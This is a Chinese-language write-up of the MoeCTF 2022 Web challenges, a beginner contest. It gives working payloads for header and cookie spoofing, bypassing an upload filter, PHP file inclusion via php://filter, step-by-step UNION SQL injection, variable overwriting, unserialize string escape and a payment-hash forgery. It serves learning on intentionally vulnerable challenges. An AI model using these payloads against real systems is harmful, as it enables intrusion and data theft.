MoeCTF 2022 Web Wp

MoeCTF 2022 Web 方向 Wp

前言

MoeCTF 2022 是西电为新生举办的 CTF 比赛,题目较为简单,但其中某些题目还是很有意思的,下文为 Web 方向的 Wp

ezhtml

根据题目描述,F12 改变 HTML 内容,使所有科目分数之和等于总分且超过 600 即可:

ezhtml

当然查看evil.js也可以:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
var sx = document.querySelector('#sx');
var yw = document.querySelector('#yw');
var wy = document.querySelector('#wy');
var zh = document.querySelector('#zh');
var zf = document.querySelector('#zf');
var arr = [sx, yw, wy, zh];
var flag = false;
function check() {
if (flag == true) {
clearInterval(timer);
}
var sum = 0;
for (var i = 0; i < arr.length; i++) {
sum += eval(arr[i].innerHTML);
}
if (sum == eval(zf.innerHTML) && sum > 600) {
alert('moectf{W3lc0me_to_theWorldOf_Web!}');
flag = true;
}
}
var timer = setInterval(check, 1000);

拿到 flag:moectf{W3lc0me_to_theWorldOf_Web!}

web安全之入门指北

这个没什么说的,下载文件拿到 flag:moeCTF{g3t_aUthor1zed_bef0r3_PENTEST!}

cookiehead

修改 HTTP 头和 Cookie 即可,可以使用 Hacker Bar 等工具:

  1. 仅限本地访问

    1
    2
    // 添加 X-Forwarded-For 头
    X-Forwarded-For 127.0.0.1
  2. You are not from http://127.0.0.1/index.php !

    1
    2
    // 添加 Referer 头
    Referer http://127.0.0.1/index.php
  3. 请先登录

    1
    2
    // 修改 Cookie 头
    login 1

拿到 flag:moectf{th1s_is_http_protocolllll}

God_of_Aim

玩玩游戏能拿到一半的 flag(moectf{Oh_you_can_a1m_):

God_of_Aim

在 HTML 里看见提示:

God_of_Aim

再来看看aimtrainer.js,发现一段和 flag 有关的 Js 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
checkflag1() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[21]);
alert(_0x78bd[22]);
this[_0x78bd[23]]()
}
}
checkflag2() {
if (this[_0x78bd[4]] == this[_0x78bd[5]]) {
this[_0x78bd[20]]();
alert(_0x78bd[24])
}
}

看到alert,所以 F12 在控制台执行:

1
alert(_0x78bd[24])

得到后半段 flag:and_H4ck_Javascript}

God_of_Aim

得到 flag:moectf{Oh_you_can_a1m_and_H4ck_Javascript}

What are you uploading

随便上传一个图片,回显:

1
我不想要这个特洛伊文件,给我一个f1ag.php 我就给你flag!

但是直接上传f1ag.php会被拦,很容易发现是前端对文件后缀做了检测,上传f1ag.png使用 bp 把后缀名改成f1ag.php

What_are_you_uploading

得到 flag:moectf{A0_Qua1_D0ne!}

inclusion

打开题目发现:

1
2
3
4
5
6
7
8
9
10
11
12
<html>
<title>Here's a secret. Can you find it?</title>
<?php

if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
</html>

很容易发现是文件包含,使用伪协议读取文件,先来使用 工具 扫描目录:

inclusion

接下来使用伪协议读取 flag:

1
http://82.156.5.200:1041/?file=php://filter/read=convert.base64-encode/resource=flag.php

得到:

1
PD9waHANCkhleSBoZXksIHJlYWNoIHRoZSBoaWdoZXN0IGNpdHkgaW4gdGhlIHdvcmxkISBBY3R1YWxseSBJIGFtIGlrdW4hITsNCg0KbW9lY3Rme1kwdV9hcmVfdDAwX2JhYnlfbGF9Ow0KDQo/Pg==

这一串 Base64 解码:

1
2
3
4
5
6
<?php
Hey hey, reach the highest city in the world! Actually I am ikun!!;

moectf{Y0u_are_t00_baby_la};

?>

得到 flag:moectf{Y0u_are_t00_baby_la}

sqlmap_boy

题目看来是 SQL 注入,在 HTML 里发现提示:

sqlmap_boy

SQL 语句使用双引号闭合,尝试:

1
2
admin" -- -
// 密码随便

跳转到另一个页面,发现注入点?id=1,很简单的注入,步骤如下:

  1. 确定闭合方法

    1
    2
    3
    ?id=1' // 报错
    ?id=1" // 正常
    ?id=1' -- - // 正常

    闭合方式:单引号

  2. 确定字段数

    1
    2
    ?id=1' order by 3 -- - // 正常
    ?id=1' order by 4 -- - // 报错

    字段数:3

  3. 确定回显位

    1
    ?id=-1' union select 1,2,3 -- -

    看到回显位:2、3

  4. 爆库名

    1
    ?id=-1' union select 1,database(),3 -- -

    得到 moectf

  5. 爆表名

    1
    ?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() -- -

    得到 articles, flag, users

  6. 爆字段

    1
    ?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='moectf' and table_name='flag' -- -

    得到 flAg

  7. 获取 flag

    1
    ?id=-1' union select 1,group_concat(flAg),3 from flag -- -

    获取 flag:moectf{Ar3_you_,sCr1ptboy}

ezphp

打开题目就看见了一段代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php

highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

foreach ($_POST as $key => $value) {
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;

?>

是一道 PHP 变量覆盖的题目,添加注释后的代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<?php
highlight_file('source.txt');
echo "<br><br>";

$flag = 'xxxxxxxx';
$giveme = 'can can need flag!';
$getout = 'No! flag.Try again. Come on!';

// 必须传入 flag 参数(GET 或 POSt)
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
exit($giveme);
}

// 传入的 flag 参数的值不能为 flag
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($getout);
}

// 把 POST 过去的键值(key vaule)对变成值为 vaule 的变量 key
foreach ($_POST as $key => $value) {
$$key = $value;
}

// 对于 GET 过去的键值(key vaule)对,把 vaule 变量的值赋给 key 变量
foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo 'the flag is : ' . $flag;
?>

不是很绕,Payload(GET):

1
?aaa=flag&flag=aaa

利用中间变量aaa,得到 flag:moectf{Wa0g_Yi1g_Chu0}

baby_unserialize

一道 PHP 反序列化字符串逃逸的题目,先看源码,index.php如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
session_start();
highlight_file(__FILE__);

class moectf{
public $a;
public $b;
public $token='heizi';
public function __construct($r,$s){
$this->a = $r;
$this->b = $s;
}
}

$r = $_GET['r'];
$s = $_GET['s'];

if(isset($r) && isset($s) ){
$moe = new moectf($r,$s);
$emo = str_replace('aiyo', 'ganma', serialize($moe));
$_SESSION['moe']=base64_encode($emo);

}

这段代码接受两个参数,用它们实例化了一个对象moectf,该类中有一个特殊的字段token,就目前来说它是不可控的,然后序列化了它,把其中的aiyo替换成了ganma,编码后放在了$_SESSION数组中,这个数组我们不可以直接控制也不能查看,因为它存储在服务器端,根据提示我们再来看另一段代码a.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
session_start();
highlight_file(__FILE__);

include('flag.php');

class moectf{
public $a;
public $b;
public $token='heizi';
public function __construct($r,$s){
$this->a = $r;
$this->b = $s;
}
}

if($_COOKIE['moe'] == 1){
$moe = unserialize(base64_decode($_SESSION['moe']));
if($moe->token=='baizi'){
echo $flag;
}
}

我们能明显的发现,想拿到 flag,就必须使两个 if 成立,第一个好解决,我们直接设置 Cookie 就可以了,问题出在第二个判断语句,它解码后反序列化了我们上一步放在$_SESSION里的元素moe,并验证token是不是等于baizi,但是由index.php可知token是不可控字段,并且我们也没办法直接修改该数组的元素,这时候就要想到 PHP 的反序列化字符串逃逸:

这里你可以参考:浅谈php序列化字符串逃逸问题第一种情况:替换修改之后导致序列化字符串长度变长,我就不在这里详细地说具体的原理了,Payload 如下:

1
aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo";s:1:"b";s:1:"2";s:5:"token";s:5:"baizi";}

URL 编码后:

1
aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22baizi%22%3B%7D

最终的 Payload(GET 提交到index.php):

1
?r=aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo%22%3Bs%3A1%3A%22b%22%3Bs%3A1%3A%222%22%3Bs%3A5%3A%22token%22%3Bs%3A5%3A%22baizi%22%3B%7D&s=2

这里为了好理解,把替换前后序列化的结果写出来:

1
2
3
4
5
6
7
8
9
10
// 替换前:
O:6:"moectf":3:{s:1:"a";s:215:"aiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyoaiyo";s:1:"b";s:1:"2";s:5:"token";s:5:"baizi";}";s:1:"b";s:1:"2";s:5:"token";s:5:"heizi";}

// 替换后:
O:6:"moectf":3:{s:1:"a";s:215:"ganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganmaganma";s:1:"b";s:1:"2";s:5:"token";s:5:"baizi";}";s:1:"b";s:1:"2";s:5:"token";s:5:"heizi";}

// 其中变量 a 的值的长度是 215,刚好是替换后这一大段 ganma 的长度
// 而我们写入的其他元素:;s:1:"b";s:1:"2";s:5:"token";s:5:"baizi";},刚好替换掉了原来的元素,逃逸了出来
// 原来的元素:;s:1:"b";s:1:"2";s:5:"token";s:5:"heizi";} 被无情地抛弃
// 这里注意在完整的序列化数据后添加其他字符并不会导致反序列化失败,在这里 ;s:1:"b";s:1:"2";s:5:"token";s:5:"heizi";}(原来的元素)就相当于多添加的其他字符

然后访问a.php添加 Cookie:moe = 1,就能获得 flag:moe{Her3_1s_Y0ur_fl4g}

支付系统

一上来就看见一堆代码(注释都是我加上的):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
import os
import uuid
from quart import Quart, render_template, redirect, jsonify, request, session
from hashlib import pbkdf2_hmac
from enum import IntEnum
from tortoise import fields
from tortoise.models import Model
from tortoise.contrib.quart import register_tortoise
from httpx import AsyncClient

app = Quart(__name__)
# 随机的 secret_key
app.secret_key = os.urandom(16)


# 枚举类,记录交易的状态
class TransactionStatus(IntEnum):
SUCCESS = 0
PENDING = 1
FAILED = 2
TIMEOUT = 3

# 记录一次交易的所有信息
class Transaction(Model):
id = fields.IntField(pk=True)
user = fields.UUIDField()
amount = fields.IntField()
status = fields.IntEnumField(TransactionStatus)
desc = fields.TextField()
hash = fields.CharField(64, null=True)

def __init__(self, **kwargs):
super().__init__()
for k, v in kwargs.items():
self.__setattr__(k, v)


# 将交易信息打包后发送到 http://localhost:8000/callback
# 注意添加了一个哈希值作为验证字段
async def do_callback(transaction: Transaction):
async with AsyncClient() as ses:
# 注意这里的 status 被修改为 FAILED
transaction.status = int(TransactionStatus.FAILED)
data = (
f'{transaction.id}'
f'{transaction.user}'
f'{transaction.amount}'
f'{transaction.status}'
f'{transaction.desc}'
).encode()
await ses.post(f'http://localhost:8000/callback', data={
'id': transaction.id,
'user': transaction.user,
'amount': transaction.amount,
'desc': transaction.desc,
'status': transaction.status,
'hash': pbkdf2_hmac('sha256', data, app.secret_key, 2**20).hex()
})


# 装饰器 app.before_request:在请求收到之前绑定一个函数做一些事情
# 这里创建了 session,并把 balance 设置为零
# 接着把所有交易状态为成功(SUCCESS)的交易的金额(amount)累加到 balance
@app.before_request
async def create_session():
if 'uid' not in session:
session['uid'] = str(uuid.uuid4())
session['balance'] = 0
for tr in await Transaction.filter(user=session['uid']).all():
if tr.status == TransactionStatus.SUCCESS:
session['balance'] += tr.amount


# 路由 /pay 收集 GET 的参数(amount、desc),准备创建一次交易
@app.route('/pay')
async def pay():
transaction = await Transaction.create(
amount=request.args.get('amount'),
desc=request.args.get('desc'),
# 这里的 status 被设置为为 PENDING
status=TransactionStatus.PENDING,
user=uuid.UUID(session.get('uid'))
)
# 将数据(transaction)传递给函数(do_callback)去执行
app.add_background_task(do_callback, transaction)
# 重定向到 /transaction?id=,显示交易结果
return redirect(f'/transaction?id={transaction.id}')


# 路由 /callback 在处理交易,是最核心的部分(接受参数,验证交易,更新并存储交易)
# methods=['POST'] 只接受 POST 参数
@app.route('/callback', methods=['POST'])
async def callback():
form = dict(await request.form)
data = (
f'{form.get("id")}'
f'{form.get("user")}'
f'{form.get("amount")}'
f'{form.get("status")}'
f'{form.get("desc")}'
).encode()
# 计算传来参数的哈希值,为了验证交易的真假
k = pbkdf2_hmac('sha256', data, app.secret_key, 2**20).hex()
tr = await Transaction.get(id=int(form.pop('id')))
# 计算的哈希值和传递的哈希值不一样就说明交易是被修改过的
# 就不会进行保存
if k != form.get("hash"):
return '403'
form['status'] = TransactionStatus(int(form.pop('status')))
# 保存到数据库
tr.update_from_dict(form)
await tr.save()
return 'ok'


# 路由 /transaction 根据交易的 id 打印交易信息
# 这里的信息很重要,我们能获取到这次交易的 id、交易状态和交易的哈希值
@app.route('/transaction')
async def transaction():
if 'id' not in request.args:
return '404'
transaction = await Transaction.get(id=request.args.get('id'))
return await render_template('receipt.html', transaction=transaction)

# 路由 /flag 根据 balance 的值决定是否输出 flag
@app.route('/flag')
async def flag():
return await render_template(
'flag.html',
balance=session['balance'],
flag=os.getenv('FLAG'),
)


# 路由 / 和 /index.html 用于打印源码
@app.route('/')
@app.route('/index.html')
async def index():
with open(__file__) as f:
return await render_template('source-highlight.html', code=f.read())


# 设置数据库相关的数据
register_tortoise(
app,
db_url="sqlite://./data.db",
modules={"models": [__name__]},
generate_schemas=True,
)

if __name__ == '__main__':
app.run()

这段代码使用到了框架 Quart,它和 Flask 较为相似,是 Flask 微框架 API 的异步重新实现,我们先来做一次交易看看整个过程:

支付系统

从图中发现交易失败了,这因为代码里函数 do_callback 把我们的transaction.status设置为了 FAILED,因此 balance 不会加上本次交易的 amount,查看/flag就会发现:

1
2
Your current balance: 0
You don't have enough money to buy a flag.

看来确实是这样,那自然就想到修改transaction.status为 SUCCESS,来到/callback修改transaction.status

支付系统

不成功也很正常,因为我们修改了status而没有修改 hash,而 hash 也是无法伪造的,因为我们不知道app.secret_key,那只有仔细看代码,看看构造 hash 时有没有漏洞:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
data = (
f'{transaction.id}'
f'{transaction.user}'
f'{transaction.amount}'
f'{transaction.status}'
f'{transaction.desc}'
).encode()
await ses.post(f'http://localhost:8000/callback', data={
'id': transaction.id,
'user': transaction.user,
'amount': transaction.amount,
'desc': transaction.desc,
'status': transaction.status,
'hash': pbkdf2_hmac('sha256', data, app.secret_key, 2**20).hex()
})

可以看出 hash 是对 data 运算产生的,这里请注意 data 的构造方法,可能不是很直观,举一个例子更好理解:

1
2
3
4
5
6
7
8
a = "123"
b = 456

data = (
f'{a}'
f'{b}'
)
print(data)

打印的结果是123456,这就有问题了,我们都知道对于同一个数据,它的哈希值总是相同的,那么在这里我们就可以随便修改 data 里的数据,只要保证 data 整体的值不变,它的哈希值就不变

更具体地来说,修改/callback时传入的amount、status、desc,使status变为 0,而 data 整体不变:

1
2
3
route      amount status desc data
/pay 2000 2 2 200022
/callback 200 0 22 200022

重新创建一次交易,注意amount=2000&desc=2

支付系统

修改这次交易,注意amount=200&status=0&desc=22

支付系统

再次访问transaction?id=1687发现交易成功:

支付系统

访问/flag

支付系统

获取 flag:moectf{b3c0me_s3nsit1v3_t0_bu9s}